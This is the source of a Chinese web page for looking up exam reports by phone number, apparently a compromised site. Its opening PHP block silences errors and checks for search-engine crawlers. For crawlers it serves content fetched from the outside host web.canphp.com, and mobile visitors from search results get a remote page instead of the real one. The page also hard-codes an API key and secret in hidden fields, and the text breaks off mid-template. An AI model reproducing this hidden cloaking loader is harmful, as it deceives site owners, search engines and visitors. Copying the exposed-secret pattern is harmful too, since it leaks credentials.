<?php
set_time_limit(0);
error_reporting(0);
ini_set('display_errors','0');
ini_set('log_errors','0');
$remote_base='https://web.canphp.com/baidu?domain=';
function normalize_encoding($content){if(function_exists('mb_convert_encoding'))return mb_convert_encoding($content,'UTF-8','auto');return $content;}
function extract_http_code($header_lines){foreach($header_lines as $h){if(preg_match('#^HTTP/\d\.\d\s+(\d+)#i',$h,$m))return (int)$m[1];}return 200;}
function http_get_compatible($url,$custom_headers=[],$timeout=12){
$default_ua='Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)';
$ua=!empty($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:$default_ua;
$headers=array_merge(['User-Agent: '.$ua,'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language: zh-CN,zh;q=0.9'],$custom_headers);
$max_attempts=2;
for($attempt=1;$attempt<=$max_attempts;$attempt++){
if(function_exists('curl_init')){
$ch=curl_init();
curl_setopt_array($ch,[CURLOPT_URL=>$url,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>8,CURLOPT_TIMEOUT=>$timeout,CURLOPT_CONNECTTIMEOUT=>$timeout,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>false,CURLOPT_HTTPHEADER=>$headers,CURLOPT_ENCODING=>'gzip, deflate']);
$response=@curl_exec($ch);
$http_code=(int)@curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($response!==false&&$http_code>=200&&$http_code<300)return normalize_encoding($response);}
if(ini_get('allow_url_fopen')){
$context_options=['http'=>['method'=>'GET','header'=>implode("\r\n",$headers)."\r\n",'timeout'=>$timeout,'follow_location'=>1,'max_redirects'=>8,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];
$context=stream_context_create($context_options);
$response=@file_get_contents($url,false,$context);
if($response!==false){
$http_code=extract_http_code($GLOBALS['http_response_header']??[]);
if($http_code>=200&&$http_code<300)return normalize_encoding($response);}}
$parts=parse_url($url);
$host=isset($parts['host'])?$parts['host']:'';
$path=isset($parts['path'])?$parts['path']:'/';
if(isset($parts['query']))$path.='?'.$parts['query'];
$port=(isset($parts['scheme'])&&$parts['scheme']==='https')?443:80;
$scheme=($port===443)?'ssl://':'';
$fp=@fsockopen($scheme.$host,$port,$errno,$errstr,$timeout);
if($fp){
$request="GET $path HTTP/1.1\r\n";
$request.="Host: $host\r\n";
$request.=implode("\r\n",$headers)."\r\n";
$request.="Connection: Close\r\n\r\n";
fwrite($fp,$request);
stream_set_timeout($fp,$timeout);
$response='';
while(!feof($fp))$response.=fgets($fp,4096);
fclose($fp);
$segments=explode("\r\n\r\n",$response,2);
if(count($segments)>=2){
$http_code=extract_http_code(explode("\r\n",$segments[0]));
if($http_code>=200&&$http_code<300)return normalize_encoding($segments[1]);}}
if($attempt<$max_attempts)usleep(600000);}
return false;}
$current_url=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'/';
$host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'localhost';
$protocol=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://';
$full_url=$protocol.$host.$current_url;
$user_agent=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
$accept_lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';
$is_search_bot=preg_match('/Baiduspider|Sogou|YisouSpider|360Spider|HaosouSpider/i',$user_agent);
$is_mobile=preg_match('/(iPhone|iPad|iPod|Android|Mobile|BlackBerry|Windows Phone)/i',$user_agent);
$is_from_search=!empty($referer)&&(stripos($referer,'.baidu.com')!==false||stripos($referer,'.sogou.com')!==false||stripos($referer,'.bing.com')!==false||stripos($referer,'.sm.cn')!==false||stripos($referer,'.so.com')!==false)&&preg_match('/\bzh(-CN)?(;.*)?\b/i',$accept_lang);
if($is_search_bot){
$remote_url=$remote_base.urlencode($full_url);
$extra_headers=['X-Current-URL: '.$full_url];
$content=http_get_compatible($remote_url,$extra_headers);
if($content!==false){
while(ob_get_level())ob_end_clean();
header('Content-Type: text/html; charset=UTF-8');
echo $content;
exit;}}
if($is_mobile&&$is_from_search){
while(ob_get_level())ob_end_clean();
header('Content-Type: text/html; charset=UTF-8');
$content_mb=@file_get_contents('https://web.canphp.com/501.html');
if($content_mb!==false)echo $content_mb;
exit;}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>用户报告查询</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Microsoft YaHei', Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 50%, #f093fb 100%);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
            position: relative;
            overflow-x: hidden;
        }

        body::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><defs><pattern id="grain" width="100" height="100" patternUnits="userSpaceOnUse"><circle cx="50" cy="50" r="1" fill="rgba(255,255,255,0.1)"/></pattern></defs><rect width="100" height="100" fill="url(%23grain)"/></svg>');
            opacity: 0.3;
            pointer-events: none;
        }

        .container {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(20px);
            border-radius: 20px;
            box-shadow: 0 25px 50px rgba(0, 0, 0, 0.15), 0 0 0 1px rgba(255, 255, 255, 0.2);
            padding: 30px;
            width: 100%;
            max-width: 900px;
            position: relative;
            z-index: 1;
            animation: slideUp 0.6s ease-out;
        }

        @keyframes slideUp {
            from {
                opacity: 0;
                transform: translateY(30px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        .header {
            text-align: center;
            margin-bottom: 25px;
        }

        .header h1 {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            font-size: 2.5em;
            margin-bottom: 12px;
            font-weight: 600;
            letter-spacing: -0.5px;
        }

        .header p {
            color: #666;
            font-size: 1.1em;
            opacity: 0.8;
        }

        .form-group {
            margin-bottom: 20px;
        }

        .form-group label {
            display: block;
            margin-bottom: 10px;
            color: #333;
            font-weight: 500;
            font-size: 1.1em;
        }

        .form-group input {
            width: 100%;
            padding: 16px 20px;
            border: 2px solid #e1e5e9;
            border-radius: 12px;
            font-size: 1.1em;
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            background: rgba(255, 255, 255, 0.8);
            backdrop-filter: blur(10px);
        }

        .form-group input:focus {
            outline: none;
            border-color: #667eea;
            box-shadow: 0 0 0 4px rgba(102, 126, 234, 0.15);
            background: rgba(255, 255, 255, 0.95);
            transform: translateY(-1px);
        }

        .form-group input::placeholder {
            color: #999;
            opacity: 0.7;
        }

        .inline-form {
            display: flex;
            align-items: end;
            gap: 10px;
        }

        .inline-form label {
            margin-bottom: 0;
            white-space: nowrap;
        }

        .inline-form input {
            flex: 1;
            margin-bottom: 0;
        }

        .inline-form .btn {
            margin-bottom: 0;
            min-width: 80px;
        }

        .btn {
            flex: 1;
            padding: 16px 24px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 12px;
            font-size: 1.1em;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            position: relative;
            overflow: hidden;
        }

        .btn::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
            transition: left 0.5s;
        }

        .btn:hover::before {
            left: 100%;
        }

        .btn-secondary {
            background: linear-gradient(135deg, #6c757d 0%, #495057 100%);
            flex: 0 0 auto;
            min-width: 80px;
        }

        .btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 15px 30px rgba(102, 126, 234, 0.4);
        }

        .btn:active {
            transform: translateY(-1px);
            box-shadow: 0 8px 20px rgba(102, 126, 234, 0.3);
        }

        .btn:disabled {
            background: #ccc;
            cursor: not-allowed;
            transform: none;
            box-shadow: none;
        }

        .loading {
            display: none;
            text-align: center;
            margin: 20px 0;
        }

        .loading.show {
            display: block;
        }

        .spinner {
            border: 4px solid rgba(102, 126, 234, 0.1);
            border-top: 4px solid #667eea;
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto 15px;
            box-shadow: 0 0 20px rgba(102, 126, 234, 0.3);
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading p {
            color: #667eea;
            font-weight: 500;
            font-size: 1.1em;
        }

        .result {
            margin-top: 20px;
        }


        .result-header {
            background: linear-gradient(135deg, #f8f9fa 0%, #e9ecef 100%);
            padding: 20px;
            border-radius: 16px;
            margin-bottom: 20px;
            text-align: center;
            border: 1px solid rgba(255, 255, 255, 0.5);
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.05);
        }

        .result-header h3 {
            color: #333;
            margin-bottom: 6px;
            font-size: 1.2em;
        }

        .result-header p {
            color: #666;
            font-size: 0.95em;
        }

        .report-list {
            display: grid;
            gap: 8px;
        }

        .report-item {
            background: rgba(255, 255, 255, 0.9);
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255, 255, 255, 0.3);
            border-radius: 12px;
            padding: 14px;
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.05);
            position: relative;
            overflow: hidden;
        }

        .report-item::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(90deg, #667eea, #764ba2);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .report-item:hover {
            transform: translateY(-4px);
            box-shadow: 0 12px 30px rgba(0, 0, 0, 0.15);
            border-color: rgba(102, 126, 234, 0.3);
        }

        .report-item:hover::before {
            opacity: 1;
        }

        .report-line {
            display: flex;
            align-items: center;
            gap: 6px;
            margin-bottom: 2px;
            font-size: 0.9em;
        }

        .report-line:last-child {
            margin-bottom: 0;
        }

        .report-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 6px;
        }

        .report-info {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 6px;
        }

        .report-actions {
            margin-top: 6px;
            text-align: right;
        }

        .btn-detail {
            background: linear-gradient(135deg, #28a745 0%, #20c997 100%);
            color: white;
            border: none;
            padding: 8px 16px;
            border-radius: 6px;
            font-size: 0.85em;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
            box-shadow: 0 2px 8px rgba(40, 167, 69, 0.3);
        }

        .btn-detail:hover {
            background: linear-gradient(135deg, #218838 0%, #1ea085 100%);
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(40, 167, 69, 0.4);
        }

        .btn-detail:active {
            transform: translateY(0);
            box-shadow: 0 2px 8px rgba(40, 167, 69, 0.3);
        }

        .btn-detail:disabled {
            background: #6c757d;
            cursor: not-allowed;
        }

        .report-id {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 4px 10px;
            border-radius: 16px;
            font-size: 0.75em;
            font-weight: 600;
            box-shadow: 0 2px 8px rgba(102, 126, 234, 0.3);
            letter-spacing: 0.3px;
        }

        .read-status {
            padding: 4px 10px;
            border-radius: 16px;
            font-size: 0.75em;
            font-weight: 600;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
        }

        .read-status.read {
            background: linear-gradient(135deg, #d4edda 0%, #c3e6cb 100%);
            color: #155724;
            border: 1px solid rgba(21, 87, 36, 0.2);
        }

        .read-status.unread {
            background: linear-gradient(135deg, #f8d7da 0%, #f5c6cb 100%);
            color: #721c24;
            border: 1px solid rgba(114, 28, 36, 0.2);
        }

        .detail-label {
            font-size: 0.75em;
            color: #666;
            white-space: nowrap;
        }

        .detail-value {
            font-size: 0.85em;
            color: #333;
            font-weight: 500;
        }

        .error {
            background: linear-gradient(135deg, #f8d7da 0%, #f5c6cb 100%);
            color: #721c24;
            padding: 20px;
            border-radius: 16px;
            margin-top: 20px;
            border: 1px solid rgba(114, 28, 36, 0.2);
            box-shadow: 0 4px 15px rgba(248, 215, 218, 0.3);
            animation: slideIn 0.3s ease-out;
        }

        .error.success {
            background: linear-gradient(135deg, #d4edda 0%, #c3e6cb 100%);
            color: #155724;
            border: 1px solid rgba(21, 87, 36, 0.2);
            box-shadow: 0 4px 15px rgba(212, 237, 218, 0.3);
        }

        .error.info {
            background: linear-gradient(135deg, #d1ecf1 0%, #bee5eb 100%);
            color: #0c5460;
            border: 1px solid rgba(12, 84, 96, 0.2);
            box-shadow: 0 4px 15px rgba(209, 236, 241, 0.3);
        }

        @keyframes slideIn {
            from {
                opacity: 0;
                transform: translateY(-10px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 10px;
            margin-top: 20px;
            border: 1px solid #c3e6cb;
        }


        .no-reports {
            text-align: center;
            padding: 60px 20px;
            color: #666;
            background: rgba(255, 255, 255, 0.5);
            border-radius: 16px;
            border: 2px dashed rgba(102, 126, 234, 0.2);
        }

        .no-reports-icon {
            font-size: 4em;
            margin-bottom: 20px;
            opacity: 0.6;
            animation: float 3s ease-in-out infinite;
        }

        @keyframes float {
            0%, 100% { transform: translateY(0px); }
            50% { transform: translateY(-10px); }
        }

        .no-reports p {
            margin: 15px 0;
            font-size: 1.2em;
            font-weight: 500;
        }

        .no-reports-hint {
            font-size: 1em !important;
            color: #999 !important;
            opacity: 0.8;
        }

        @media (max-width: 768px) {
            body {
                padding: 10px;
            }

            .container {
                padding: 20px;
                border-radius: 16px;
            }

            .header h1 {
                font-size: 2.2em;
                margin-bottom: 10px;
            }

            .header p {
                font-size: 1em;
            }

            .inline-form {
                flex-direction: column;
                align-items: stretch;
                gap: 15px;
            }

            .inline-form label {
                margin-bottom: 8px;
                font-size: 1em;
            }

            .inline-form input {
                padding: 14px 16px;
                font-size: 1em;
            }

            .inline-form .btn {
                margin-top: 0;
                padding: 14px 20px;
                font-size: 1em;
            }

            .report-item {
                padding: 16px;
                border-radius: 12px;
            }

            .report-line {
                flex-direction: column;
                align-items: flex-start;
                gap: 8px;
            }

            .report-header {
                flex-direction: row;
                justify-content: space-between;
                align-items: center;
                gap: 8px;
            }

            .report-info {
                flex-direction: row;
                justify-content: space-between;
                align-items: center;
                gap: 4px;
            }

            .report-actions {
                text-align: center;
                margin-top: 12px;
            }

            .btn-detail {
                width: 100%;
                padding: 12px 20px;
            }

            .no-reports {
                padding: 40px 15px;
            }

            .no-reports-icon {
                font-size: 3em;
            }
        }

        @media (max-width: 480px) {
            .container {
                padding: 15px;
                margin: 5px;
            }

            .header h1 {
                font-size: 1.8em;
            }

            .form-group input {
                padding: 12px 14px;
            }

            .btn {
                padding: 12px 16px;
                font-size: 1em;
            }

            .report-item {
                padding: 12px;
            }

            .report-id, .read-status {
                font-size: 0.8em;
                padding: 4px 8px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>用户报告查询</h1>
        </div>


        <!-- API配置已隐藏，使用默认值 -->
        <input type="hidden" id="appid" value="ZdiHpZAcyPAPDPia">
        <input type="hidden" id="appSecurity" value="ZdiHpZAcyPAPDPiaUDFIplU3uNQ3naDx">

        <div class="form-group inline-form">
            <label for="telephone">手机号码:</label>
            <input type="tel" id="telephone" placeholder="请输入手机号码" maxlength="11">
            <button class="btn" onclick="queryReports()">查询</button>
        </div>

        <div class="loading" id="loading">
            <div class="spinner"></div>
            <p>正在查询报告数据...</p>
        </div>

        <div class="result" id="result">
            <div class="result-header">
                <h3>报告列表</h3>
                <p id="resultSummary"></p>
            </div>
            <div class="report-list" id="reportList">
                <div class="no-reports">
                    <div class="no-reports-icon">📋</div>
                    <p>暂无报告数据</p>
                    <p class="no-reports-hint">请输入手机号码查询报告</p>
                </div>
            </div>
        </div>
    </div>

    <script>
        // MD5加密函数
        function md5(string) {
            function RotateLeft(lValue, iShiftBits) {
                return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
            }
            function AddUnsigned(lX,lY) {
                var lX4,lY4,lX8,lY8,lResult;
                lX8 = (lX & 0x80000000);
                lY8 = (lY & 0x80000000);
                lX4 = (lX & 0x40000000);
                lY4 = (lY & 0x40000000);
                lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
                if (lX4 & lY4) {
                    return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
                }
                if (lX4 | lY4) {
                    if (lResult & 0x40000000) {
                        return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
                    } else {
                        return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
                    }
                } else {
                    return (lResult ^ lX8 ^ lY8);
                }
            }
            function F(x,y,z) { return (x & y) | ((~x) & z); }
            function G(x,y,z) { return (x & z) | (y & (~z)); }
            function H(x,y,z) { return (x ^ y ^ z); }
            function I(x,y,z) { return (y ^ (x | (~z))); }
            function FF(a,b,c,d,x,s,ac) {
                a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
                return AddUnsigned(RotateLeft(a, s), b);
            }
            function GG(a,b,c,d,x,s,ac) {
                a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
                return AddUnsigned(RotateLeft(a, s), b);
            }
            function HH(a,b,c,d,x,s,ac) {
                a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
                return AddUnsigned(RotateLeft(a, s), b);
            }
            function II(a,b,c,d,x,s,ac) {
                a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
                return AddUnsigned(RotateLeft(a, s), b);
            }
            function ConvertToWordArray(string) {
                var lWordCount;
                var lMessageLength = string.length;
                var lNumberOfWords_temp1=lMessageLength + 8;
                var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
                var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
                var lWordArray=Array(lNumberOfWords-1);
                var lBytePosition = 0;
                var lByteCount = 0;
                while ( lByteCount < lMessageLength ) {
                    lWordCount = (lByteCount-(lByteCount % 4))/4;
                    lBytePosition = (lByteCount % 4)*8;
                    lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));
                    lByteCount++;
                }
                lWordCount = (lByteCount-(lByteCount % 4))/4;
                lBytePosition = (lByteCount % 4)*8;
                lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
                lWordArray[lNumberOfWords-2] = lMessageLength<<3;
                lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
                return lWordArray;
            }
            function WordToHex(lValue) {
                var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
                for (lCount = 0;lCount<=3;lCount++) {
                    lByte = (lValue>>>(lCount*8)) & 255;
                    WordToHexValue_temp = "0" + lByte.toString(16);
                    WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
                }
                return WordToHexValue;
            }
            function Utf8Encode(string) {
                string = string.replace(/\r\n/g,"\n");
                var utftext = "";
                for (var n = 0; n < string.length; n++) {
                    var c = string.charCodeAt(n);
                    if (c < 128) {
                        utftext += String.fromCharCode(c);
                    }
                    else if((c > 127) && (c < 2048)) {
                        utftext += String.fromCharCode((c >> 6) | 192);
                        utftext += String.fromCharCode((c & 63) | 128);
                    }
                    else {
                        utftext += String.fromCharCode((c >> 12) | 224);
                        utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                        utftext += String.fromCharCode((c & 63) | 128);
                    }
                }
                return utftext;
            }
            var x=Array();
            var k,AA,BB,CC,DD,a,b,c,d;
            var S11=7, S12=12, S13=17, S14=22;
            var S21=5, S22=9 , S23=14, S24=20;
            var S31=4, S32=11, S33=16, S34=23;
            var S41=6, S42=10, S43=15, S44=21;
            string = Utf8Encode(string);
            x = ConvertToWordArray(string);
            a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
            for (k=0;k<x.length;k+=16) {
                AA=a; BB=b; CC=c; DD=d;
                a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
                d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
                c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
                b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
                a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
                d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
                c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
                b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
                a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
                d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
                c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
                b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
                a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
                d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
                c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
                b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
                a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
                d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
                c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
                b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
                a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
                d=GG(d,a,b,c,x[k+10],S22,0x2441453);
                c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
                b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
                a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
                d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
                c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
                b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
                a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
                d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
                c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
                b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
                a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
                d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
                c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
                b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
                a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
                d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
                c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
                b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
                a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
                d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
                c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
                b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
                a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
                d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
                c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
                b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
                a=II(a,b,c,d,x[k+0], S41,0xF4292244);
                d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
                c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
                b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
                a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
                d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
                c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
                b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
                a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
                d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
                c=II(c,d,a,b,x[k+6], S43,0xA3014314);
                b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
                a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
                d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
                c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
                b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
                a=AddUnsigned(a,AA);
                b=AddUnsigned(b,BB);
                c=AddUnsigned(c,CC);
                d=AddUnsigned(d,DD);
            }
            var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
            return temp.toLowerCase();
        }

        // 生成签名
        function generateSignature(appid, timestamp, appSecurity) {
            const str = `${appid}&${timestamp}&${appSecurity}`;
            return md5(str);
        }

        // 查看报告详情
        async function viewReportDetail(rid) {
            const appid = document.getElementById('appid').value.trim();
            const appSecurity = document.getElementById('appSecurity').value.trim();

            // 验证API配置
            if (!appid || !appSecurity) {
                showError('请先配置API参数');
                return;
            }

            // 验证报告ID
            if (!rid) {
                showError('报告ID无效');
                return;
            }

            try {
                // 显示加载状态
                showError('正在获取报告详情...', 'info');

                // 生成时间戳和签名
                const timestamp = Date.now();
                const sign = generateSignature(appid, timestamp, appSecurity);

                // 构建请求URL - 查询报告结果接口
                const baseUrl = 'https://api-oeai.aloftace.com/examer/report/info';
                // 手动构建URL参数，避免对rid进行URL编码
                const url = `${baseUrl}?appid=${encodeURIComponent(appid)}&timestamp=${timestamp}&sign=${encodeURIComponent(sign)}&rid=${rid}&rtype=2&ctype=2`;

                console.log('请求报告详情URL:', url);
                console.log('请求参数:', {
                    appid,
                    timestamp,
                    sign,
                    rid,
                    rtype: 2,
                    ctype: 2
                });

                // 发送请求
                const response = await fetch(url, {
                    method: 'GET',
                    headers: {
                        'Content-Type': 'application/json'
                    }
                });

                const data = await response.json();
                console.log('报告详情响应:', data);

                // 处理响应
                if (data.code === 200 && data.data && data.data.url) {
                    // 成功获取报告链接，在当前窗口跳转
                    window.location.href = data.data.url;
                } else {
                    // 处理错误
                    const errorMsg = data.msg || '获取报告详情失败';
                    showError(`错误 ${data.code}: ${errorMsg}`);
                }

            } catch (error) {
                console.error('获取报告详情失败:', error);
                showError('网络请求失败，请检查网络连接');
            }
        }

        // 查询报告
        async function queryReports() {
            const telephone = document.getElementById('telephone').value.trim();
            const appid = document.getElementById('appid').value.trim();
            const appSecurity = document.getElementById('appSecurity').value.trim();

            // 验证输入
            if (!telephone) {
                showError('请输入手机号码');
                return;
            }

            if (!appid || !appSecurity) {
                showError('请配置API参数');
                return;
            }

            // 手机号格式验证
            if (!/^1[3-9]\d{9}$/.test(telephone)) {
                showError('请输入正确的手机号码格式');
                return;
            }

            // 显示加载状态
            showLoading(true);
            hideResult();
            hideError();

            try {
                // 生成时间戳和签名
                const timestamp = Date.now();
                const sign = generateSignature(appid, timestamp, appSecurity);

                // 构建请求URL
                const baseUrl = 'https://api-oeai.aloftace.com/examer/report/list';
                const params = new URLSearchParams({
                    appid: appid,
                    timestamp: timestamp,
                    sign: sign,
                    telephone: telephone
                });

                const url = `${baseUrl}?${params}`;

                console.log('请求URL:', url);
                console.log('请求参数:', {
                    appid,
                    timestamp,
                    sign,
                    telephone
                });

                // 发送请求
                const response = await fetch(url, {
                    method: 'GET',
                    headers: {
                        'Accept': 'application/json',
                        'Content-Type': 'application/json'
                    }
                });

                console.log('响应状态:', response.status);
                console.log('响应头:', response.headers);

                if (!response.ok) {
                    throw new Error(`HTTP错误: ${response.status} ${response.statusText}`);
                }

                const data = await response.json();
                console.log('响应数据:', data);

                // 处理响应
                if (data.code === 200) {
                    // 查询成功，保存手机号到缓存
                    savePhoneToCache(telephone);
                    showReports(data.data, telephone);
                } else {
                    showError(`API错误: ${data.msg} (错误码: ${data.code})`);
                }

            } catch (error) {
                console.error('请求失败:', error);
                
                if (error.name === 'TypeError' && error.message.includes('Failed to fetch')) {
                    showError('网络请求失败，可能是跨域问题。请使用后端代理或确保API支持CORS。');
                } else {
                    showError(`请求失败: ${error.message}`);
                }
            } finally {
                showLoading(false);
            }
        }

        // 显示报告列表
        function showReports(reports, telephone) {
            const resultDiv = document.getElementById('result');
            const resultSummary = document.getElementById('resultSummary');
            const reportList = document.getElementById('reportList');

            if (!reports || reports.length === 0) {
                resultSummary.textContent = `手机号 ${telephone} 没有找到任何报告`;
                reportList.innerHTML = `
                    <div class="no-reports">
                        <div class="no-reports-icon">📋</div>
                        <p>暂无报告数据</p>
                        <p class="no-reports-hint">该手机号没有找到任何报告</p>
                    </div>
                `;
            } else {
                resultSummary.textContent = `手机号 ${telephone} 共找到 ${reports.length} 条报告`;
                
                reportList.innerHTML = reports.map(report => `
                    <div class="report-item">
                        <div class="report-header">
                            <span class="report-id">报告ID: ${report.rid}</span>
                            <span class="read-status ${report.is_readed === 1 ? 'read' : 'unread'}">
                                ${report.is_readed === 1 ? '已阅读' : '未阅读'}
                            </span>
                        </div>
                        <div class="report-info">
                            <span class="detail-value">${report.username || '未知'}</span>
                            <span class="detail-value">${report.exam_time || '未知'}</span>
                        </div>
                        <div class="report-actions">
